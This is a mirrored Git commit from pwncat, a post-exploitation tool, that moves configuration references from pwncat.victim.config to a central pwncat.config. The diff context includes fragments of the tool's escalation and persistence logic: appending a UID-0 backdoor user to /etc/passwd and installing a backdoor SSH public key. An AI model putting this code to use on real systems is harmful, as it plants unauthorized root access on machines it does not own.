mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-23 17:15:38 +01:00
Made some initial moves toward central config
This commit is contained in:
parent
a825d00da2
commit
83852e3d67
@ -171,7 +171,7 @@ class CommandParser:
|
||||
def loaded(self, value: bool):
|
||||
assert value == True
|
||||
self.loading_complete = True
|
||||
self.eval(pwncat.victim.config["on_load"], "on_load")
|
||||
self.eval(pwncat.config["on_load"], "on_load")
|
||||
|
||||
def eval(self, source: str, name: str = "<script>"):
|
||||
""" Evaluate the given source file. This will execute the given string
|
||||
@ -208,11 +208,11 @@ class CommandParser:
|
||||
while self.running:
|
||||
try:
|
||||
|
||||
if pwncat.victim.config.module:
|
||||
if pwncat.config.module:
|
||||
self.prompt.message = [
|
||||
(
|
||||
"fg:ansiyellow bold",
|
||||
f"({pwncat.victim.config.module.name}) ",
|
||||
f"({pwncat.config.module.name}) ",
|
||||
),
|
||||
("fg:ansimagenta bold", "pwncat"),
|
||||
("", "$ "),
|
||||
|
@ -29,10 +29,10 @@ class Command(CommandDefinition):
|
||||
|
||||
def run(self, args):
|
||||
if args.key is None:
|
||||
for key, binding in pwncat.victim.config.bindings.items():
|
||||
for key, binding in pwncat.config.bindings.items():
|
||||
console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]")
|
||||
elif args.key is not None and args.script is None:
|
||||
if args.key in pwncat.victim.config.bindings:
|
||||
del pwncat.victim.config.bindings[args.key]
|
||||
if args.key in pwncat.config.bindings:
|
||||
del pwncat.config.bindings[args.key]
|
||||
else:
|
||||
pwncat.victim.config.bindings[args.key] = args.script
|
||||
pwncat.config.bindings[args.key] = args.script
|
||||
|
@ -28,7 +28,7 @@ class Command(CommandDefinition):
|
||||
|
||||
def run(self, args):
|
||||
|
||||
if not args.module and pwncat.victim.config.module is None:
|
||||
if not args.module and pwncat.config.module is None:
|
||||
console.log("[red]error[/red]: no module specified")
|
||||
return
|
||||
|
||||
@ -39,7 +39,7 @@ class Command(CommandDefinition):
|
||||
console.log(f"[red]error[/red]: {args.module}: no such module")
|
||||
return
|
||||
else:
|
||||
module = pwncat.victim.config.module
|
||||
module = pwncat.config.module
|
||||
|
||||
console.print(
|
||||
f"[bold underline]Module [cyan]{module.name}[/cyan][/bold underline]"
|
||||
|
@ -45,11 +45,11 @@ class Command(CommandDefinition):
|
||||
|
||||
def run(self, args):
|
||||
|
||||
if args.module is None and pwncat.victim.config.module is None:
|
||||
if args.module is None and pwncat.config.module is None:
|
||||
console.log("[red]error[/red]: no module specified")
|
||||
return
|
||||
elif args.module is None:
|
||||
args.module = pwncat.victim.config.module.name
|
||||
args.module = pwncat.config.module.name
|
||||
|
||||
# Parse key=value pairs
|
||||
values = {}
|
||||
@ -60,13 +60,13 @@ class Command(CommandDefinition):
|
||||
name, value = arg.split("=")
|
||||
values[name] = value
|
||||
|
||||
# pwncat.victim.config.locals.update(values)
|
||||
config_values = pwncat.victim.config.locals.copy()
|
||||
# pwncat.config.locals.update(values)
|
||||
config_values = pwncat.config.locals.copy()
|
||||
config_values.update(values)
|
||||
|
||||
try:
|
||||
result = pwncat.modules.run(args.module, **config_values)
|
||||
pwncat.victim.config.back()
|
||||
pwncat.config.back()
|
||||
except pwncat.modules.ModuleFailed as exc:
|
||||
if args.traceback:
|
||||
console.print_exception()
|
||||
|
@ -13,11 +13,11 @@ class Command(CommandDefinition):
|
||||
|
||||
def get_config_variables(self):
|
||||
options = (
|
||||
["state"] + list(pwncat.victim.config.values) + list(pwncat.victim.users)
|
||||
["state"] + list(pwncat.config.values) + list(pwncat.victim.users)
|
||||
)
|
||||
|
||||
if pwncat.victim.config.module:
|
||||
options.extend(pwncat.victim.config.module.ARGUMENTS.keys())
|
||||
if pwncat.config.module:
|
||||
options.extend(pwncat.config.module.ARGUMENTS.keys())
|
||||
|
||||
return options
|
||||
|
||||
@ -76,14 +76,14 @@ class Command(CommandDefinition):
|
||||
console.log(f"[red]error[/red]: {args.value}: invalid state")
|
||||
elif args.variable is not None and args.value is not None:
|
||||
try:
|
||||
pwncat.victim.config.set(
|
||||
pwncat.config.set(
|
||||
args.variable, args.value, getattr(args, "global")
|
||||
)
|
||||
if args.variable == "db":
|
||||
# We handle this specially to ensure the database is available
|
||||
# as soon as this config is set
|
||||
pwncat.victim.engine = create_engine(
|
||||
pwncat.victim.config["db"], echo=False
|
||||
pwncat.config["db"], echo=False
|
||||
)
|
||||
pwncat.db.Base.metadata.create_all(pwncat.victim.engine)
|
||||
|
||||
@ -95,13 +95,13 @@ class Command(CommandDefinition):
|
||||
except ValueError as exc:
|
||||
console.log(f"[red]error[/red]: {exc}")
|
||||
elif args.variable is not None:
|
||||
value = pwncat.victim.config[args.variable]
|
||||
value = pwncat.config[args.variable]
|
||||
console.print(
|
||||
f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]"
|
||||
)
|
||||
else:
|
||||
for name in pwncat.victim.config:
|
||||
value = pwncat.victim.config[name]
|
||||
for name in pwncat.config:
|
||||
value = pwncat.config[name]
|
||||
console.print(
|
||||
f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]"
|
||||
)
|
||||
|
@ -30,4 +30,4 @@ class Command(CommandDefinition):
|
||||
console.log(f"[red]error[/red]: {args.module}: invalid module name")
|
||||
return
|
||||
|
||||
pwncat.victim.config.use(module)
|
||||
pwncat.config.use(module)
|
||||
|
@ -174,8 +174,8 @@ def run_decorator(real_run):
|
||||
elif not self.ALLOW_KWARGS:
|
||||
raise InvalidArgument(key)
|
||||
for key in self.ARGUMENTS:
|
||||
if key not in kwargs and key in pwncat.victim.config:
|
||||
kwargs[key] = pwncat.victim.config[key]
|
||||
if key not in kwargs and key in pwncat.config:
|
||||
kwargs[key] = pwncat.config[key]
|
||||
elif key not in kwargs and self.ARGUMENTS[key].default is not NoValue:
|
||||
kwargs[key] = self.ARGUMENTS[key].default
|
||||
elif key not in kwargs and self.ARGUMENTS[key].default is NoValue:
|
||||
|
@ -777,8 +777,8 @@ class EscalateResult(Result):
|
||||
with pwncat.victim.open("/etc/passwd", "r") as filp:
|
||||
passwd = filp.readlines()
|
||||
|
||||
username = pwncat.victim.config["backdoor_user"]
|
||||
password = pwncat.victim.config["backdoor_pass"]
|
||||
username = pwncat.config["backdoor_user"]
|
||||
password = pwncat.config["backdoor_pass"]
|
||||
hashed = crypt.crypt(password)
|
||||
|
||||
passwd.append(f"{username}:{hashed}:0:0::/root:{pwncat.victim.shell}\n")
|
||||
@ -859,9 +859,9 @@ class EscalateResult(Result):
|
||||
|
||||
try:
|
||||
# Read our backdoor private key
|
||||
with open(pwncat.victim.config["privkey"], "r") as filp:
|
||||
with open(pwncat.config["privkey"], "r") as filp:
|
||||
privkey = filp.read()
|
||||
with open(pwncat.victim.config["privkey"] + ".pub", "r") as filp:
|
||||
with open(pwncat.config["privkey"] + ".pub", "r") as filp:
|
||||
pubkey = filp.read()
|
||||
|
||||
if authkeys is None:
|
||||
|
@ -73,7 +73,7 @@ class Module(PersistModule):
|
||||
# Ensure we read a public key
|
||||
if not pubkey:
|
||||
raise PersistError(
|
||||
f"{pwncat.victim.config['privkey']+'.pub'}: empty public key"
|
||||
f"{pwncat.config['privkey']+'.pub'}: empty public key"
|
||||
)
|
||||
|
||||
# Add our public key
|
||||
|
Loading…
Reference in New Issue
Block a user